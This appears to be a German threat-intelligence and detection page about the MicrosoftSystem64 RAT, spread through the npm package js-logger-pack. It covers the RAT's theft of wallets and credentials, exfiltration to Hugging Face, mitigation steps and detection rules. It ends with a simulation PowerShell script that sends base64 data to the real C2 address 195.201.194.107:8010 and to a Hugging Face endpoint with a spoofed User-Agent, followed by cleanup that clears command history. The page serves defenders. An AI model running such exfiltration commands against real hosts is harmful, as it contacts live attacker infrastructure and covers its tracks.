MicrosoftSystem64: Ein Supply-Chain-RAT, das Daten zu Hugging Face exfiltriert
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein bösartiges npm-Paket namens js-logger-pack wurde verwendet, um eine plattformübergreifende Node.js-Einzelanwendung namens MicrosoftSystem64 zu verbreiten. Die Binärdatei fungiert als voll funktionsfähiger Remote Access Trojaner, der in der Lage ist, Kryptowährungs-Wallet-Erweiterungen, im Browser gespeicherte Anmeldeinformationen, SSH-Schlüssel, Telegram-Sitzungsdaten und Screenshots zu stehlen. Gestohlene Informationen werden über private Hugging Face-Datasets unter Verwendung eines kompromittierten API-Tokens exfiltriert, während der Kommando- und Kontrollverkehr über einen WebSocket-Server bei 195.201.194.107:8010abgewickelt wird. Die Kampagne wird mit einem nordkoreanischen Bedrohungsakteur in Verbindung gebracht, der npm- und Hugging Face-Konten rotiert, um den Zugriff aufrechtzuerhalten und die Operationen fortzuführen.
Untersuchung
SafeDep analysierte das Malware-Muster und extrahierte dessen XOR-verschlüsselte Konfiguration, den Kommando- und Kontrollendpunkt, das Hugging Face-Token und eine Liste von mehr als 80 Ziel-Wallet-Erweiterungs-IDs. Forscher überprüften außerdem die auf Windows-, macOS- und Linux-Systemen verwendeten Persistenzmethoden und rekonstruierten die vollständige Exfiltrationskette unter Einbeziehung von Hugging Face-APIs. Eine Live-Validierung am 28. Mai bestätigte, dass aktive Datasets weiterhin Screenshots und Anmeldedaten-Archive von echten Opfern erhielten.
Minderung
Organisationen sollten sofort alle bekannten bösartigen npm-Pakete entfernen, die mit dieser Kampagne in Verbindung stehen, kompromittierte Anmeldeinformationen, SSH-Schlüssel und Kryptowährungs-Wallet-Samen rotieren und auf unbefugte Hugging Face API-Aktivitäten überwachen. Endpunktschutzlösungen sollten den MicrosoftSystem64 Prozessnamen und jede damit verbundene geplante Aufgaben-Erstellung erkennen. Netzwerksteuerungen sollten auch ausgehenden Datenverkehr zur identifizierten Kommando- und Kontroll-IP-Adresse blockieren und unerwarteten Zugriff auf Hugging Face-Endpunkte von unbekannten Binärdateien einschränken.
Reaktion
Wenn MicrosoftSystem64 erkannt wird, isolieren Sie das betroffene System sofort, beenden Sie den bösartigen Prozess, entfernen Sie installierte Dateien und geplante Aufgaben und widerrufen Sie das kompromittierte Hugging Face Token. Ermittler sollten forensische Beweise aus Protokollen und allen exfiltrierten Datenwegen sammeln, dann relevante Stakeholder benachrichtigen und Abhängigkeits-Scan-Tools aktualisieren, um die bösartigen Pakete in zukünftigen Builds zu blockieren.
Angriffsablauf
Erkennungen
Mögliche Persistenzstellen [ASEPs – Software/NTUSER-Hive] (über registry_event)
Anzeigen
Die Möglichkeit der Ausführung über versteckte PowerShell-Befehlszeilen (über cmdline)
Anzeigen
Linux-.desktop-Datei wurde in einem ungewöhnlichen Ordner erstellt (über file_event)
Anzeigen
Versteckte Datei wurde auf Linux-Host erstellt (über file_event)
Anzeigen
IOCs (HashSha256) zur Erkennung: Inside MicrosoftSystem64: Eine Supply-Chain-RAT, die zu HuggingFace exfiltriert
Anzeigen
IOCs (SourceIP) zur Erkennung: Inside MicrosoftSystem64: Eine Supply-Chain-RAT, die zu HuggingFace exfiltriert
Anzeigen
IOCs (DestinationIP) zur Erkennung: Inside MicrosoftSystem64: Eine Supply-Chain-RAT, die zu HuggingFace exfiltriert
Anzeigen
Erkennung von SetWindowsHookEx-Keylogging durch Malware [Windows Sysmon]
Anzeigen
Erkennung von MicrosoftSystem64 RAT auf Linux-Systemen [Linux-Prozesserstellung]
Anzeigen
Microsoft System64 RAT-Datenexfiltration über HuggingFace [Windows-Netzwerkverbindung]
Anzeigen
Erkennung von MicrosoftSystem64 RAT-Ausführung und PowerShell-Befehl [Windows-Prozesserstellung]
Anzeigen
Simulationsausführung
Voraussetzung: Die Telemetrie- und Baseline-Vorflugüberprüfung muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der feindlichen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genau erwartete Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.
-
Angriffs-Narrative & Befehle:
Ein Angreifer hat bereits den „Microsoft System64 RAT“ auf dem kompromittierten Windows-Host installiert. Um gestohlene Daten zu exfiltrieren, führt der RAT zwei parallele Aktionen durch:- C2-Kanal: Öffnet einen rohen TCP-Socket zum fest kodierten bösartigen Server
195.201.194.107am Port8010und streamt Base-64-codierte Daten. - Versteckte HTTP-Exfiltration: Sendet eine HTTPS
POSTAnfrage anhttps://huggingface.co/api/uploadmit denselben Daten, die im Anfrageinhalt eingebettet sind, und verwendet dabei einen legitim aussehenden User-Agent, um sich mit dem normalen Datenverkehr zu vermischen.
Beide Aktionen erzeugen ausgehende Firewall-Ereignisse, die der Sigma-Regel entsprechen.
- C2-Kanal: Öffnet einen rohen TCP-Socket zum fest kodierten bösartigen Server
-
Regressionstest-Skript:
# ------------------------------------------------- # System64 RAT-Exfiltrationssimulation (PowerShell) # ------------------------------------------------- # 1. Vorbereitung von Dummy-Exfil-Daten $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Datenübertragung über rohes TCP (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] TCP-Exfil an $c2Ip:$c2Port gesendet" } catch { Write-Error "[-] TCP-Verbindung fehlgeschlagen: $_" } # 3. Datenübertragung über HTTPS an HuggingFace (versteckte Exfilt) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] HTTP-Exfil an huggingface.co gesendet" } catch { Write-Error "[-] HTTP-Anfrage fehlgeschlagen: $_" } -
Aufräumbefehle:
# Entfernt alle verbleibenden Netzwerk-Artefakte Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # PowerShell-Verlauf löschen (optional) Clear-History